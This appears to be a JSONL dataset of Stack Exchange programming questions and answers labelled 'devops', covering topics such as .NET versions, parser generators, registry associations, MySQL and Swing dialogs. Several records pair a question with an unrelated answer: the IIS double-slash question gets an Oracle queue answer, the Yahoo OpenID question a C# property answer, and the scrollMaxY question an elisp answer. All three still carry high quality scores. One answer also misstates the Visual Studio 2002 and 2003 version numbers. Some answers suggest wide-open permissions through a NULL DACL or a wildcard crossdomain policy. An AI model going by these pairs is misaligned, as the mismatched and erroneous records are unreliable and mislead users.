{"id": "hf_43db882845ce", "question": "<p>With the recent announcement of .NET 4.0 and Visual Studio 2010, it is becoming ever more difficult to keep track of what .NET Framework versions build on what version of the CLR and belong with which version(s) of Visual Studio.</p>\n\n<p>Is there a definitive table that shows these relationships?</p>\n", "question_body": "", "answer": "It's hard to find, isn't it? I believe these are the versions (ignoring service packs)\nVisual Studio version 6 = last one before\n.NET\n, released in 1998\nVisual Studio 2002 = version 7.1, Rainier, first .NET version retroactively added 2002 to the name, .NET 1.0 -- released Feb 2002\nVisual Studio 2003 =     version 7, Everett, .NET 1.1 -- released early 2003.\nVisual Studio 2005 =     version 8  Whidbey, .NET 2.0 & 3.0 -- launch was Nov 2005. No longer called Visual Studio .NET\nVisual Studio 2008 =     version 9 Orcas, .NET 3.5 -- released 11/19/2007 as 9.0.21022.8\nVisual Studio 2010 = version 10 Hawaii\nThe next version of Visual Studio Team System is Rosario.\nHow to determine which versions and service pack levels of the Microsoft .NET Framework are installed\nwill give you more information about build numbers and service packs, but only through .NET 2.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.610575"}
{"id": "hf_0ef6aad784f9", "question": "<p>I've used lex and yacc (more usually bison) in the past for various projects, usually translators (such as a subset of EDIF streamed into an EDA app). Additionally, I've had to support code based on lex/yacc grammars dating back decades. So I know my way around the tools, though I'm no expert.</p>\n\n<p>I've seen positive comments about Antlr in various fora in the past, and I'm curious as to what I may be missing. So if you've used both, please tell me what's better or more advanced in Antlr. My current constraints are that I work in a C++ shop, and any product we ship will not include Java, so the resulting parsers would have to follow that rule.</p>\n", "question_body": "", "answer": "Update/warning: This answer may be out of date!\nOne major difference is that ANTLR generates an LL(*) parser, whereas YACC and Bison both generate parsers that are LALR.  This is an important distinction for a number of applications, the most obvious being operators:\n```\n```\nexpr ::= expr '+' expr\n       | expr '-' expr\n       | '(' expr ')'\n       | NUM ;\n```\n```\nANTLR is entirely incapable of handling this grammar as-is.  To use ANTLR (or any other LL parser generator), you would need to convert this grammar to something that is not left-recursive.  However, Bison has no problem with grammars of this form.  You would need to declare '+' and '-' as left-associative operators, but that is not strictly required for left recursion.  A better example might be dispatch:\n```\n```\nexpr ::= expr '.' ID '(' actuals ')' ;\n\nactuals ::= actuals ',' expr | expr ;\n```\n```\nNotice that both the\n```\nexpr\n```\nand the\n```\nactuals\n```\nrules are left-recursive.  This produces a much more efficient AST when it comes time for code generation because it avoids the need for multiple registers and unnecessary spilling (a left-leaning tree can be collapsed whereas a right-leaning tree cannot).\nIn terms of personal taste, I think that LALR grammars are a lot easier to construct and debug.  The downside is you have to deal with somewhat cryptic errors like shift-reduce and (the dreaded) reduce-reduce.  These are errors that Bison catches when generating the parser, so it doesn't affect the end-user experience, but it can make the development process a bit more interesting.  ANTLR is generally considered to be easier to use than YACC/Bison for precisely this reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.635353"}
{"id": "hf_0d92c6a543f6", "question": "<p>I'm trying to find about ALL the possible options that I can set in <code>web.config</code>.\nSurprisingly, I can't find this at all. I expected it to be somewhere inside <a href=\"http://msdn.microsoft.com\" rel=\"noreferrer\">MSDN</a>.</p>\n\n<p>I know I can technically add \"anything\" to <code>web.config</code>, what I'm looking for is the things that the .NET Framework \"as shipped\" uses.</p>\n\n<p>In particular, right now I'm interested in the <code>&lt;mailsettings&gt;</code> section.<br>\nFor example, in many examples I've found, I noticed that they set <code>DeliveryMethod=\"Network\"</code>. \nI'm really curious what other values this attribute can take.</p>\n\n<p>Is there any document on all the attributes and all their values, and all the effects those have?</p>\n", "question_body": "", "answer": "It all starts on\nhttp://msdn.microsoft.com/en-us/library/zeshe0eb(v=vs.100).aspx\n:\n```\n<system.web>\n```\n```\n<system.web.extensions>\n```\n```\n<appSettings>\n```\n```\n<configSections>\n```\n```\n<connectionStrings>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.659086"}
{"id": "hf_dda2229d6a49", "question": "<p>My customer is replacing MS Office with OpenOffice in some workstations. My program export a file to Excel using the .xml extension (using open format) and opens it using the current associated program (using ShellExecute)</p>\n\n<p>The problem is that OpenOffice does not register the .xml extension associated with it.</p>\n\n<p>Manually association works fine, but I want to make a .reg or something to easily change the setting.</p>\n\n<p>I'm looking in the registry in a PC with the change already made, but the  </p>\n\n<pre><code>\"HKEY_CLASSES_ROOT\\.xml\" \n</code></pre>\n\n<p>key does not have anything referencing OpenOffice.</p>\n\n<p>Where is the association stored? How can I make a script to do the work?</p>\n", "question_body": "", "answer": "The real association is stored in the key that\n```\n\"HKEY_CLASSES_ROOT\\.xml\"\n```\npoints to.\nOn my machine, the default value of that key says\n```\n\"xmlfile\"\n```\n, most likely that is the same for yours.\nSo let's go to\n```\n\"HKEY_CLASSES_ROOT\\xmlfile\"\n```\n. There you can see (and change) what command is going to be used to launch that type of file:\n```\n```\nHKEY_CLASSES_ROOT\\xmlfile\\shell\\open\\command\n```\n```\nWindows uses this kind of redirection to map multiple file extensions to the same file type, and thus to the same application.\nUnder\n```\n\"HKEY_CLASSES_ROOT\\xmlfile\\shell\"\n```\nthere are multiple sub-keys that resemble the \"verbs\" of what you can do to the file. Again, the default value of the\n```\n\"shell\"\n```\nkey decides which of these verbs is used if you double click the file. In my case this is\n```\n\"open\"\n```\n.\nConclusion:\nWith that knowledge, the easiest way to make an association scriptable is to use regedit to export a .reg file containing that change, and apply it to the target computer with a double click or:\n```\n```\nregedit /s new_xml_association.reg\n```\n```\nor (if you are on XP or higher and know what you do) overwrite the current value with:\n```\n```\nreg add \"HKEY_CLASSES_ROOT\\xmlfile\\shell\\open\\command\" /ve /d \"path\\to\\program %1\"\n```\n```\nAt any rate, a deeper look into\n```\nreg add/?\n```\ncommand is advised. The first solution is safer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.683798"}
{"id": "hf_2f22c5b43ccf", "question": "<p>I need to change the permissions of a directory to be owned by the Everyone user with all access rights on this directory.  I'm a bit new to the Win32 API, so I'm somewhat lost in the SetSecurity* functions.</p>\n", "question_body": "", "answer": "Ok, I figured it out:\n```\n```\nSetSecurityInfo(hDir, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL);\n```\n```\nThis will give all permissions to all users for the given directory handle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.714025"}
{"id": "hf_413c3ba61e67", "question": "<p>MySQL 5.0.45</p>\n\n<p>What is the syntax to alter a table to allow a column to be null, alternately what's wrong with this:</p>\n\n<pre><code>ALTER mytable MODIFY mycolumn varchar(255) null;\n</code></pre>\n\n<p>I interpreted the manual as  just run the above and it would recreate the column, this time allowing null. The server is telling me I have syntactical errors. I just don't see them.</p>\n", "question_body": "", "answer": "You want the following:\n```\n```\nALTER TABLE mytable MODIFY mycolumn VARCHAR(255);\n```\n```\nColumns are nullable by default.  As long as the column is not declared\n```\nUNIQUE\n```\nor\n```\nNOT NULL\n```\n, there shouldn't be any problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.737126"}
{"id": "hf_7274c5bac0b7", "question": "<p>I have a django application that I'd like to add some rest interfaces to.  I've seen <a href=\"http://code.google.com/p/django-rest-interface/\" rel=\"noreferrer\">http://code.google.com/p/django-rest-interface/</a> but it seems to be pretty simplistic.  For instance it doesn't seem to have a way of enforcing security.  How would I go about limiting what people can view and manipulate through the rest interface?  Normally I'd put this kind of logic in my views.  Is this the right place or should I be moving some more logic down into the model?  Alternatively is there a better library out there or do I need to roll my own?</p>\n", "question_body": "", "answer": "Well, from the look of things, there's an\n```\nauthentication\n```\nparameter to\n```\nCollection\n```\n. (see this example:\nauthentication.py\n)\nSecond, (even if Django doesn't have it yet,) there should probably be a middleware that does CSRF/XSRF form checking. (Oh, there seems to\nbe one\n.) You should also be able to use the\n```\nlogin_required\n```\nand\n```\npermission_required\n```\ndecorators\nin the urls.py.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.761287"}
{"id": "hf_1c8e05682745", "question": "<p>What I want to do is the following:</p>\n\n<ol>\n<li>read in multiple line input from <code>stdin</code> into variable <code>A</code></li>\n<li>make various operations on <code>A</code></li>\n<li>pipe <code>A</code> without losing delimiter symbols (<code>\\n</code>,<code>\\r</code>,<code>\\t</code>,etc) to another command</li>\n</ol>\n\n<p>The current problem is that, I can't read it in with <code>read</code> command, because it stops reading at newline.</p>\n\n<p>I can read stdin with <code>cat</code>, like this:</p>\n\n<pre><code>my_var=`cat /dev/stdin`\n</code></pre>\n\n<p>, but then I don't know how to print it. So that the newline, tab, and other delimiters are still there.</p>\n\n<p>My sample script looks like this:</p>\n\n<pre><code>#!/usr/local/bin/bash\n\nA=`cat /dev/stdin`\n\nif [ ${#A} -eq 0 ]; then\n        exit 0\nelse\n        cat ${A} | /usr/local/sbin/nextcommand\nfi\n</code></pre>\n", "question_body": "", "answer": "This is working for me:\n```\n```\nmyvar=`cat`\n\necho \"$myvar\"\n```\n```\nThe quotes around\n```\n$myvar\n```\nare important.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.788957"}
{"id": "hf_bf04d3cce7ae", "question": "<p>I have G729 encoded audio files. I need to programmatically convert them to WAV PCM (16bit 8kHz mono) in the flow of a tool that is doing other thing too. I have an executable that will do that for me. But spawning that external process every time I convert is too heavy on resources. Especially if I need many of them being done in parallel.\nLooking for a .NET library or code that will let me call this inside my process.</p>\n", "question_body": "", "answer": "According to Wikipedia, G.729 includes several patents and is licensed by\nSipra\n, so you probably won't have much luck finding an appropriate lobrary.  Unless you're decoding a large number of very small files, the cost of spawning a new process shouldn't be that big compared to the cost of doing the decoding, so I'd say use the executable you have.\nAs far as resources go, yes, spawning processes requires a lot more resources compared to using threads.  This shouldn't really matter, though, so long as you only spawn as many processes as you have cores in your machine.  Spawning more processes just wastes resources and doesn't gain you any extra parallelism.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.835094"}
{"id": "hf_5e390d0e7241", "question": "<p>I need a way to build C++ code from UML diagrams and vice versa. </p>\n\n<p>Should be simple too hopefully. I don't mind paying too much.</p>\n", "question_body": "", "answer": "You could try\nSparx Enterprise Architect\nbut the code quality would be average, not excellent.\nI am not aware of any great automatic code generators for C++\nPrices start from $135", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.856882"}
{"id": "hf_bf8bde0f7d3e", "question": "<p>I tried \"x = y ** e\", but that didn't work.</p>\n", "question_body": "", "answer": "use the\n```\npow\n```\nfunction (it takes\n```\nfloat\n```\ns/\n```\ndouble\n```\ns though).\n```\nman pow\n```\n:\n```\n```\n#include <math.h>\n\n   double pow(double x, double y);\n   float powf(float x, float y);\n   long double powl(long double x, long double y);\n```\n```\nEDIT\n: For the special case of positive integer powers of\n```\n2\n```\n, you can use bit shifting:\n```\n(1 << x)\n```\nwill equal\n```\n2\n```\nto the power\n```\nx\n```\n. There are some potential gotchas with this, but generally, it would be correct.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.938966"}
{"id": "hf_bf3a2f362a01", "question": "<p>I have a class library with some extension methods written in C# and an old website written in VB.</p>\n\n<p>I want to call my extension methods from the VB code but they don't appear in intelisense and I get compile errors when I visit the site.</p>\n\n<p>I have got all the required <em>Import</em>s because other classes contained in the same namespaces are appearing fine in Intelisense.</p>\n\n<p>Any suggestions</p>\n\n<p><strong>EDIT:</strong> More info to help with some comments.</p>\n\n<p>my implementation looks like this </p>\n\n<pre><code>//C# code compiled as DLL\nnamespace x.y {\n    public static class z {\n        public static string q (this string s){\n             return s + \" \" + s;\n        }\n\n    }\n}\n</code></pre>\n\n<p>and my usage like this </p>\n\n<pre><code>Imports x.y\n\n'...'\nDim r as string = \"greg\"\nDim s as string = r.q() ' does not show in intelisense\n                        ' and throws error : Compiler Error Message: BC30203: Identifier expected.\n</code></pre>\n", "question_body": "", "answer": "Extension methods are just syntactic sugar for static methods. So\n```\n```\npublic static string MyExtMethod(this string s)\n```\n```\ncan be called in both VB.NET and C# with\n```\n```\nMyExtMethod(\"myArgument\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.963776"}
{"id": "hf_628ba23edb15", "question": "<p>I've been trying to SSL working on my IW program for the last little while and I keep running up against the 'Could not load SSL Library'. I've followed every piece of advice I could find on the subject, but still no joy. I've tried the suggested DLLs in both the local directory and in system32.</p>\n\n<p>Does anyone have a definitive answer about what OpenSSL DLLs I should be using? And what build of them? Or any other ideas at all?</p>\n\n<p>Indy: updated to the most recent snapshot yesterday\nIntraWeb: stock D2007 installed</p>\n\n<p>This is running on a Vista machine, if that makes any difference.</p>\n\n<p>TIA,</p>\n\n<p>Trevor</p>\n", "question_body": "", "answer": "You need the OpenSSL dlls (0.9.8i worked for me, but I'm not using Vista), which you can download\nhere\n(as I think you're suggesting, the Indy dlls don't work with IW9, which is the version bundled with D2007).\nAfter installation, copy ssleay32.dll and libeay32.dll from system32 to your application directory.\nIf it still doesn't work:\nis your servercontroller's ssl port set to 443?\ndoes your cert pw match your servercontroller's ssl cert pw?\nis servercontroller.sslversion set to sslv23?\nhave you tried compiling/running the AtoZed demo application for SSL (standalonessl)?\nHope this helps.\nEDIT: once you get this working, you'll want to change sslversion to sslv3, and get users to turn off v2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:14.999452"}
{"id": "hf_f196d01aeb51", "question": "<p>The general problem:</p>\n\n<p>We have urls coming to our IIS web servers formatted like: </p>\n\n<blockquote>\n  <p><strong><a href=\"http://www.server.com/page.aspx\" rel=\"nofollow noreferrer\">http://www.server.com/page.aspx</a></strong></p>\n</blockquote>\n\n<p>We are also seeing that urls like this are coming in: </p>\n\n<blockquote>\n  <p><strong><a href=\"http://www.server.com//page.aspx\" rel=\"nofollow noreferrer\">http://www.server.com//page.aspx</a></strong></p>\n</blockquote>\n\n<p>We would like to get rid of that extra path character because when the user agent is Internet Explorer, this is resolving as 2 different pages, and thus, downloading the content twice when it should be resolved from a cache.</p>\n\n<p>I am not sure if this is a problem to be solved with something like a url-rewriting module, or if there is a configuration setting.</p>\n", "question_body": "", "answer": "Perhaps you need to enable it?\n```\n```\nDBMS_AQADM.ENABLE_PROPAGATION_SCHEDULE(queue_name => 'Test_Q');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.380106"}
{"id": "hf_49119d6ff7d7", "question": "<p>Is there a built-in/custom script available?</p>\n", "question_body": "", "answer": "Although its maybe not really programing related you could try\nOrca\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.402950"}
{"id": "hf_58bc61553ce1", "question": "<p>Umm, I guess my questions in the title:</p>\n\n<p>How do I turn on Option Strict / Infer in a VB.NET aspx page without a code behind file?</p>\n\n<pre><code>&lt;%@ Page Language=\"VB\" %&gt;\n&lt;script runat=\"server\"&gt;\n    Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs)\n\n    End Sub\n&lt;/script&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\n<%@ Page Language=\"VB\" Strict=\"true\" %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.462476"}
{"id": "hf_592a979d5e31", "question": "<p>In my ideal world, what I'm looking for would exist as something along the lines of this:</p>\n\n<pre><code>public string UserDefinedField\n{\n    get { return _userDefinedField; }\n    internal set { _userDefinedField = value; }        \n    set { _userDefinedField = value; ChangedFields.Add(Fields.UserDefinedField); }\n}\n</code></pre>\n\n<p>Where one statement is executed regardless of the access modifier, and another statement is executed if it's called from an external assembly or class.</p>\n\n<p>I'm sure I could code something by using reflection and checking up the current call stack to see if the caller is in the same assembly, but I'm looking to see if there's a more elegant approach than that.</p>\n", "question_body": "", "answer": "```\n```\npublic string UserDefinedField\n{\n    get { return _userDefinedField; }\n    set { SetField(value); ChangedFields.Add(Fields.UserDefinedField); }\n}\n\n// Call this from internal methods and use the public property for other cases\ninternal string SetField(string userValue)\n{\n    _userDefinedField = userValue;\n}\n```\n```\nYou\ncould\nget the caller information by\nexamining the calling stack\nbut that is extremely slow (compared to the above) and I wouldn't recommend it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.496615"}
{"id": "hf_1d12d13bf3b4", "question": "<p>When I try to login to this site using my yahoo openid, it takes me to the yahoo site, I click \"continue\" meaning that i <em>want</em> to send my authentication details to stackoverflow.com and stackoverflow.com gives me the following error underneath the login text field:</p>\n\n<p>Unable to log in with your OpenID provider:</p>\n\n<p>failed to authenticate, returning Failed. Please ensure your identifier is correct and try again. </p>\n", "question_body": "", "answer": "```\n```\npublic string UserDefinedField\n{\n    get { return _userDefinedField; }\n    set { SetField(value); ChangedFields.Add(Fields.UserDefinedField); }\n}\n\n// Call this from internal methods and use the public property for other cases\ninternal string SetField(string userValue)\n{\n    _userDefinedField = userValue;\n}\n```\n```\nYou\ncould\nget the caller information by\nexamining the calling stack\nbut that is extremely slow (compared to the above) and I wouldn't recommend it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.520790"}
{"id": "hf_3111158b6076", "question": "<p>I have a few batch files I need to run frequently in developing a certain project. I'd like to create a Visual Studio toolbar called \"MyProject\" and have commands underneath to execute these batch files. What is the easiest way to accomplish this?</p>\n", "question_body": "", "answer": "In the\nTools...\nmenu, select\nExternal Tools...\nand add references to the batch files. Then right-click on a toolbar, select\nCustomize...\n, go to the\nToolbars\ntab, click on\nNew...\n, name your new toolbar, click on\nOK\n, go to the\nCommands\ntab, select the\nTools\ncategory and drag-drop the appropriate\nExternal Command\nCommand onto your custom tool bar.\nIf you need to run batch files that always run right before or after a build, you're probably better off making use of\nbuild events\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.582644"}
{"id": "hf_7ddae85eb305", "question": "<p>I've been reading that Adobe has made crossdomain.xml stricter in flash 9-10 and I'm wondering of someone can paste me a copy of one that they know works. Having some trouble finding a recent sample on Adobe's site.</p>\n", "question_body": "", "answer": "This is what I've been using for development:\n```\n```\n<?xml version=\"1.0\" ?>\n<cross-domain-policy>\n<allow-access-from domain=\"*\" />\n</cross-domain-policy>\n```\n```\nThis is a very liberal approach, but is fine for my application.\nAs others have pointed out below, beware the risks of this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.644296"}
{"id": "hf_f2fa33bd1b9b", "question": "<p>How do I go about positioning a JDialog at the center of the screen?</p>\n", "question_body": "", "answer": "In Java 1.4+ you can do:\n```\n```\nfinal JDialog d = new JDialog();\nd.setSize(200,200);\nd.setLocationRelativeTo(null);\nd.setVisible(true);\n```\n```\nOr perhaps (pre 1.4):\n```\n```\nfinal JDialog d = new JDialog();\nd.setSize(200, 200);\nfinal Toolkit toolkit = Toolkit.getDefaultToolkit();\nfinal Dimension screenSize = toolkit.getScreenSize();\nfinal int x = (screenSize.width - d.getWidth()) / 2;\nfinal int y = (screenSize.height - d.getHeight()) / 2;\nd.setLocation(x, y);\nd.setVisible(true);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.712780"}
{"id": "hf_76a8a142f772", "question": "<p>I'm trying to pass one method to another in elisp, and then\nhave that method execute it.  Here is an example:</p>\n\n<pre><code>(defun t1 ()\n  \"t1\")\n\n(defun t2 ()\n  \"t1\")\n\n(defun call-t (t)\n  ; how do I execute \"t\"?\n  (t))\n\n; How do I pass in method reference?\n(call-t 't1)\n</code></pre>\n", "question_body": "", "answer": "First, I'm not sure that naming your function\n```\nt\n```\nis helping as 't' is used as the\ntruth value\nin lisp.\nThat said, the following code works for me:\n```\n```\n(defun test-func-1 ()  \"test-func-1\"\n   (interactive \"*\")\n   (insert-string \"testing callers\"))\n\n(defun func-caller (callee)\n  \"Execute callee\"\n  (funcall callee))\n\n(func-caller 'test-func-1)\n```\n```\nPlease note the use of 'funcall', which triggers the actual function call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.742881"}
{"id": "hf_a27e98071469", "question": "<p>window.scrollMaxY can be set via that property in IE and older versions of Firefox, but when trying in FF3 it says \"Cannot set this property as it only has a getter\".</p>\n\n<p>What is my alternative?</p>\n\n<p>EDIT:</p>\n\n<p>The reason why I'm asking is that I'm fixing some very horrible JS written by someone else, it has a function to keep a div centered on the page while scrolling, and has this line:</p>\n\n<pre><code>// Fixes Firefox incrementing page height while scrolling\nwindow.scrollMaxY = scrollMaxY\n</code></pre>\n\n<p>Obviously this doesn't work, but the main issue is that when the page is scrolled, it grows in length.</p>\n", "question_body": "", "answer": "First, I'm not sure that naming your function\n```\nt\n```\nis helping as 't' is used as the\ntruth value\nin lisp.\nThat said, the following code works for me:\n```\n```\n(defun test-func-1 ()  \"test-func-1\"\n   (interactive \"*\")\n   (insert-string \"testing callers\"))\n\n(defun func-caller (callee)\n  \"Execute callee\"\n  (funcall callee))\n\n(func-caller 'test-func-1)\n```\n```\nPlease note the use of 'funcall', which triggers the actual function call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.766951"}
{"id": "hf_1aef698ea061", "question": "<p>I'm storing an ArrayList of Ids in a processing script that I want to spit out as a comma delimited list for output to the debug log. Is there a way I can get this easily without looping through things?</p>\n\n<p>EDIT: Thanks to Joel for pointing out the List(Of T) that is available in .net 2.0 and above. That makes things TONS easier if you have it available.</p>\n", "question_body": "", "answer": "Yes, I'm answering my own question, but I haven't found it here yet and thought this was a rather slick thing:\n...in VB.NET:\n```\n```\nString.Join(\",\", CType(TargetArrayList.ToArray(Type.GetType(\"System.String\")), String()))\n```\n```\n...in C#\n```\n```\nstring.Join(\",\", (string[])TargetArrayList.ToArray(Type.GetType(\"System.String\")))\n```\n```\nThe only \"gotcha\" to these is that the ArrayList must have the items stored as Strings if you're using Option Strict to make sure the conversion takes place properly.\nEDIT: If you're using .net 2.0 or above, simply create a List(Of String) type object and you can get what you need with. Many thanks to Joel for bringing this up!\n```\n```\nString.Join(\",\", TargetList.ToArray())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.790701"}
{"id": "hf_727a91510d77", "question": "<p>There are many tools out there for writing and managing requirements, but are there any good ones for reviewing them?  </p>\n\n<p>I'm not talking about <strong><em>managing</em></strong> reviews, but automation tools that look for common requirement blunders (such as using negative requirements, or ones that are worded in a way that makes testing difficult).<br>\nMore of a screening tool that someone writing requirements can use to screen their document before distributing to a group of reviewers so that the review process need not be slowed down by everyone commenting on the same easily recognizable issues.</p>\n\n<p>I'm curious if anyone's used anything like this in the past.</p>\n", "question_body": "", "answer": "I'm working on a console application that takes a xml configuration file like this:\n```\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<ReqCheck>\n  <Categories name=\"Reconsider wording\">\n    <Keyword>may</Keyword>\n    <Keyword>should</Keyword>\n  </Categories>\n  <Categories name=\"Potential logic problem\" format=\"{0}: consider both then and else conditions.\">\n    <Keyword>not</Keyword>\n  </Categories>\n</ReqCheck>\n```\n```\nThe application takes a MS-Word document and adds 'balloon-style' comments to the document.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.884117"}
{"id": "hf_dae680a1dcb1", "question": "<p>Is it possible to create, for instance, a box model hack while using in-line CSS?</p>\n\n<p>For example:</p>\n\n<p><code>&lt;div id=\"blah\" style=\"padding: 5px; margin: 5px; width: 30px; /*IE5-6 Equivalent here*/\"&gt;</code></p>\n\n<p>Thanks! </p>\n", "question_body": "", "answer": "The most appropriate answer is\ndon't\n. (Edit: to be clear, I mean don't do it inline, I don't mean don't use CSS hacks.)\nEdit: This doesn't work, IE ignores the conditional comment. Leaving the answer here to not be a bastard.\nThe next most appropriate answer is conditional comments:\n```\n```\n<div id=\"blah\" style=\"padding: 5px; margin: 5px; width: 30px; <!--[if lte IE 6]> ... <![endif]-->\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.907954"}
{"id": "hf_f41564e5e81c", "question": "<p>I have a generic class in C# with 2 constructors:</p>\n\n<pre><code>public Houses(params T[] InitialiseElements)\n{}\npublic Houses(int Num, T DefaultValue)\n{}\n</code></pre>\n\n<p>Constructing an object using int as the generic type and passing in two ints as arguments causes the 'incorrect' constructor to be called (from my point of view).</p>\n\n<p>E.g. <code>Houses&lt;int&gt; houses = new Houses&lt;int&gt;(1,2)</code> - calls the 2nd construtor. Passing in any other number of ints into the constructor will call the 1st constructor.</p>\n\n<p>Is there any way around this other than removing the params keyword and forcing users to pass an array of T when using the first constructor?</p>\n", "question_body": "", "answer": "Perhaps instead of Params you could pass in IEnumerable\n```\n```\npublic Houses(IEnumerable<T> InitialiseElements){}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.943057"}
